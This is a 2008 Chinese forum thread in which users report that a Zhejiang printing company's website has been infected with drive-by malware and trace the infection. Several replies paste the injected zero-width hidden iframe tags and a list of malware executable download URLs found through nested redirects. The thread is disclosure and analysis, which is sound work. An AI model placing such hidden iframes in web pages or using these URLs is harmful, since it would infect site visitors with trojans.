因为周老虎年画而出名的浙江某印刷企业网站被挂马了！

clooke

义乌市威斯特彩印包装有限公司

http://www.ywxinlong.com/

杀软不够强悍的慎入
本人小红伞，拦截了

[ 本帖最后由 clooke 于 2008-1-10 11:57 编辑 ]

wangjay1980

不开杀软也没事

dericyeoh

detected: Trojan program Trojan-Downloader.JS.Agent.auv        Script: http://www.ywxinlong.com/[2]

冷冷

<iframe src="http://qi.ccbtv.net/hu.htm" width=0 height=0></iframe>
先去了这个网站，查看源文件 得出一下网站
<iframe src="http://um.uuzzvv.com/uu.htm" width=0 height=0></iframe>
<iframe src="http://acc.jqxx.org/40.htm" width=0 height=0></iframe>
<iframe src="http://fa.55189.net/" width=0 height=0></iframe>
<iframe src="http://wc.070808.net/37.htm" width=0 height=0></iframe>
<iframe src="http://az.sbb22.com/hh.htm" width=0 height=0></iframe>
<iframe src="http://ktv.mm5208.com/25.htm" width=0 height=0></iframe>

will

多层嵌套ieframe…
   


http://ad.2365.us/110/1.exe  其中的一个~  还有99% 没解  
要熄灯鸟…

qianwenxiang

the power of baidu....连百度带猜的弄出来下面这些

http://yun.yun878.com/ad.cab
http://yun.yun878.com/pps.exe
http://yun.yun878.com/bf.exe
http://yun.yun878.com/14.exe
http://1.xks08.com/1.exe
.....
http://1.xks08.com/24.exe
http://dd.749571.com/bb/ll.exe
http://dd.749571.com/bb/pp.exe
http://dd.749571.com/bb/rl.exe
http://dd.749571.com/bb/test.exe
http://www.loveyoushipin.com/pic.exe
http://loveyoushipin.com/PIC.CAB
http://www.loveyoushipin.com/pps.exe
http://www.loveyoushipin.com/lz.exe
http://ad.2365.us/110/1.exe

dikaios

够狠啊

冷冷

原帖由 qianwenxiang 于 2008-1-9 23:27 发表
the power of baidu....连百度带猜的弄出来下面这些

http://yun.yun878.com/ad.cab
http://yun.yun878.com/pps.exe
http://yun.yun878.com/bf.exe
http://yun.yun878.com/14.exe
http://1.xks08.com/1.exe
. ...

请问是怎么查出来
交流交流

xuange

小a开到高，没报...

153109312